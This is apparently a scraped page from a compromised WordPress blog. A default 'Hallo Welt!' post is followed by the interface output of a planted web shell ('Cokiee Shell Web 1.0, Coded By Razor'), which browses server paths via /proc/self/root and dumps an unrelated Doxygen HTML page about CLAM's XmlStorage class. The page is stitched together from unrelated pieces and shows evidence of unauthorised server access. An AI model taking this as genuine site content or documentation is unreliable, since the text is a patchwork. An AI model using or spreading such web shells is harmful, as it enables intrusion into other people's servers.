Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/share/doc/libclam-doc/html/ |
Current File : //proc/self/root/usr/share/doc/libclam-doc/html/group__XmlDump.html |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>CLAM-Development: Dumping and Restoring objects on XML</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">CLAM-Development  <span id="projectnumber">1.4.0</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.1 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> </div> <div class="headertitle"> <div class="title">Dumping and Restoring objects on XML</div> </div> <div class="ingroups"><a class="el" href="group__Xml.html">XML</a></div></div><!--header--> <div class="contents"> <p>How to dump or restore a <a class="el" href="classCLAM_1_1Component.html" title="Abstract class for objects that can have subitems to be stored on a storage.">CLAM::Component</a> in XML format. <a href="#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1XmlStorage.html">CLAM::XmlStorage</a></td></tr> <tr class="memdesc:"><td class="mdescLeft"> </td><td class="mdescRight">Provides XML format storage for <a class="el" href="namespaceCLAM.html">CLAM</a> <a class="el" href="classCLAM_1_1Component.html" title="Abstract class for objects that can have subitems to be stored on a storage.">Component</a>'s. <a href="classCLAM_1_1XmlStorage.html#details">More...</a><br/></td></tr> </table> <hr/><a name="details" id="details"></a><h2>Detailed Description</h2> <p>How to dump or restore a <a class="el" href="classCLAM_1_1Component.html" title="Abstract class for objects that can have subitems to be stored on a storage.">CLAM::Component</a> in XML format. </p> <p>Any class that derives from Component can be dumped and restored in XML (<a href="http://www.w3.org/XML">http://www.w3.org/XML</a>) format. Components includes Arrays, DynamicType, ProcessingConfig, ProcessingData...</p> <dl class="section warning"><dt>Warning:</dt><dd>XML storage is a very expensive task when dealing with big amounts of numeric data.</dd></dl> <h1><a class="anchor" id="XMLStaticInterface"></a> Dumping and restoring a component in XML</h1> <p>In its simplest usage, you can use the static functions Dump and Restore. </p> <div class="fragment"><div class="line"> MyComponent myComponent;</div> <div class="line"></div> <div class="line"> <span class="comment">// Here you can modify your Component</span></div> <div class="line"></div> <div class="line"> <a class="code" href="classCLAM_1_1XmlStorage.html#a67bcef33fd2382092c34148012444798" title="Dumps a Component as XML onto the named file with name as the root element.">CLAM::XmlStorage::Dump</a>(myComponent, <span class="stringliteral">"Document"</span>, <span class="stringliteral">"MyComponent.xml"</span>)</div> </div><!-- fragment --><p>Later you can restore the component: </p> <div class="fragment"><div class="line"> <span class="comment">// An unmodified default constructed object!!!</span></div> <div class="line"> MyComponent comp;</div> <div class="line"> <span class="keywordflow">try</span></div> <div class="line"> {</div> <div class="line"> <a class="code" href="classCLAM_1_1XmlStorage.html#a15974b87a288e26476ae0a40845ad1b4" title="Restore a Component from the given istream.">CLAM::XmlStorage::Restore</a>(comp, <span class="stringliteral">"mycomponent.xml"</span>);</div> <div class="line"> }</div> <div class="line"> <span class="keywordflow">catch</span> (<a class="code" href="classCLAM_1_1XmlStorageErr.html">CLAM::XmlStorageErr</a> & err)</div> <div class="line"> {</div> <div class="line"> <span class="comment">// Handle the error, a dirty way could be:</span></div> <div class="line"> std::cerr << err.<a class="code" href="classCLAM_1_1XmlStorageErr.html#ae0a37ceefcf581556c9aef4a977d777f">what</a>() << std::endl;</div> <div class="line"> exit(-1);</div> <div class="line"> }</div> </div><!-- fragment --><p>Dump and Restore are overloaded to accept any C++ stream instead of a filename. So, you can also write: </p> <div class="fragment"><div class="line"> MyComponent myComponent;</div> <div class="line"> <a class="code" href="classCLAM_1_1XmlStorage.html#a67bcef33fd2382092c34148012444798" title="Dumps a Component as XML onto the named file with name as the root element.">CLAM::XmlStorage::Dump</a>(myComponent, <span class="stringliteral">"Document"</span>, std::cout)</div> </div><!-- fragment --><p>You can the AppendToDocument static function to add an object in a given path of an existing XML file, or using RestoreFromFragment to restore the object taking an XML fragment.</p> <p>Catchable exceptions (<a class="el" href="classCLAM_1_1XmlStorageErr.html">CLAM::XmlStorageErr</a>) are thrown on the following conditions:</p> <ul> <li>The source/target stream could not be open</li> <li>The read source contained illegal XML</li> <li>The XML is valid but it failed to be mapped to the <a class="el" href="namespaceCLAM.html">CLAM</a> objects.</li> <li>A step on the path to change the selection couldn't be followed</li> <li>A loaded <a class="el" href="namespaceCLAM.html">CLAM</a> object failed its own activation constraints.</li> </ul> <dl class="section author"><dt>Author:</dt><dd>David Garcia. </dd></dl> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.1 </small></address> </body> </html>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare